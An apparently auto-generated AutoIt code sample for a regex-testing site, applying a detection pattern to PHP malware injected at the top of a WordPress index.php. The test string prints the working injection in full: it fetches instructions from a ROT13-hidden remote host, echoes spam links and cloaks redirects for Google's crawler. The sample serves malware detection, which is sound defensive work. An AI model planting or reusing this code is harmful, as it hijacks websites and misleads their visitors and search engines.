#include <StringConstants.au3> ; to declare the Constants of StringRegExp
#include <Array.au3> ; UDF needed for _ArrayDisplay and _ArrayConcatenate
Local $sRegex = "(?is)^(?:[[:^print:][:cntrl:]\s]|GIF89.{0,20})*<\?(?:php)?\s*(\$\w+)=\@\$_server\[['"]http_host['"]\];\1.{0,90}?if\(\@\$_get\[["']merdo["'\]\)\{\w\s'\<\!\-]+sysadmin.{0,180}?curl_setopt\(\$.{0,370}?file_get_contents\(\$.{0,150}?$\w{0,21}=\@json_decode\(str_rot13\(.{0,460}?\$\w.{0,21}\[["']html.{0,550}?\$myurl=rtrim\(\$\w.{0,21}\[['"]links.{0,110}header\(['"]location:\s*["']\.\$url.{0,100}?\)\.['"]\?merdo=.{0,140}?\);(?:[^>]+>\s*)?(?=\s*<\?(?:php)?)"
Local $sString = "<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER["HTTP_HOST"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET["merdo"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,"RaBot");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN["type"]=="link"||$DkiJvJYOhXiunDLZIogN["type"]=="anti"){if(count($DkiJvJYOhXiunDLZIogN["links"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN["links"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.="<a href=\"".$AXzHJsVXmlVXbzpqVwQJ["url"]."\" title=\"".$AXzHJsVXmlVXbzpqVwQJ["title"]."\">".$AXzHJsVXmlVXbzpqVwQJ["baslik"]."</a>\n";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN["html"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN["type"]=="redirect"){if(@preg_match('#google#',$_SERVER["HTTP_USER_AGENT"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN["links"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN["links"][$rand_keys]["url"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php" & @CRLF & _
"/**" & @CRLF & _
" * Front to the WordPress application. This file doesn't do anything, but loads" & @CRLF & _
" * wp-blog-header.php which does and tells WordPress to load the theme." & @CRLF & _
" *" & @CRLF & _
" * @package WordPress" & @CRLF & _
" */" & @CRLF & _
"" & @CRLF & _
"/**" & @CRLF & _
" * Tells WordPress to load the WordPress theme and output it." & @CRLF & _
" *" & @CRLF & _
" * @var bool" & @CRLF & _
" */" & @CRLF & _
"define( 'WP_USE_THEMES', true );" & @CRLF & _
"" & @CRLF & _
"/** Loads the WordPress Environment and Template */" & @CRLF & _
"require( dirname( __FILE__ ) . '/wp-blog-header.php' );" & @CRLF & _
""
Local $aArray = StringRegExp($sString, $sRegex, $STR_REGEXPARRAYGLOBALFULLMATCH)
Local $aFullArray[0]
For $i = 0 To UBound($aArray) -1
_ArrayConcatenate($aFullArray, $aArray[$i])
Next
$aArray = $aFullArray
; Present the entire match result
_ArrayDisplay($aArray, "Result")
Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for AutoIt, please visit: https://www.autoitscript.com/autoit3/docs/functions/StringRegExp.htm